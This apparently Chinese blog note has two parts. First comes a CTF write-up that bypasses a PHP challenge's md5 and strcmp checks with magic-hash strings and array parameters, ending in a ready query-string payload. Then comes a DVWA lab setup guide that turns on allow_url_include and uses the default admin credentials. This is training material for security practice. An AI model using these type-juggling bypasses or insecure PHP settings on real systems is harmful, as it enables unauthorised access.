打开源代码,出现code.txt if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; if($v1 != $v2 && md5($v1) == md5($v2)){ if(!strcmp($v3, $flag)){ echo $flag; } } } ?> isset()函数用于检测变量是否已设置并且非NULL. strcmp() 函数比较两个字符串. 如果两个字符串相等,返回0 如果 string1 小于 string2,返回<0 如果 string1 大于 string2,返回>0 根据v2 && md5(v2): 姿势1:v1,v2 找到两个开头为0的md5值,例如:v1=s878926199a&&v2=s155964671a 姿势2:根据md5函数特性,用两个值不同但不可md5的数据类型,例如: v1[]=1&&v2[]=2 根据 if(!strcmp(flag)) 需要v3和flag值相同才返回flag的值。此处依旧利用函数特性,strcmp函数如果出错,其返回也是0,不可比较时出错,传入数组,例如: v3[]=8. 综上,构造: ?v1=s878926199a&&v2=s155964671a&&v3[]=8 可得到flag
安装laragon :https://www.laragon.org/download/ 下载 DVWA: 方法1:https://github.com/ethicalhack3r/DVWA.git 克隆到laragon的www即根目录下。 方法2:http://www.dvwa.co.uk/直接下载,解压缩到laragon的www目录下。 点击启动 显示Apache and MySQL 已开始 点击网站 打开DVWA,显示DVWA system error, 根据提示,修改config下文件名。config.inc.php.dist重命名为config.inc.php 配置数据库 根据提示修改config.inc.php文件内容。 $_DVWA[ 'db_user' ] = 'root'; $_DVWA[ 'db_password' ] = ''; 登陆 此时可以在setup DVWA界面创建数据库。根据readme: 用户名:admin 密码:password 配置php laragon 下右键 php,找到php.ini文件编辑。使 allow_url_fopen = On allow_url_include = On 参考:https://www.youtube.com/watch?v=cak2lQvBRAo 有疑问欢迎留言哦~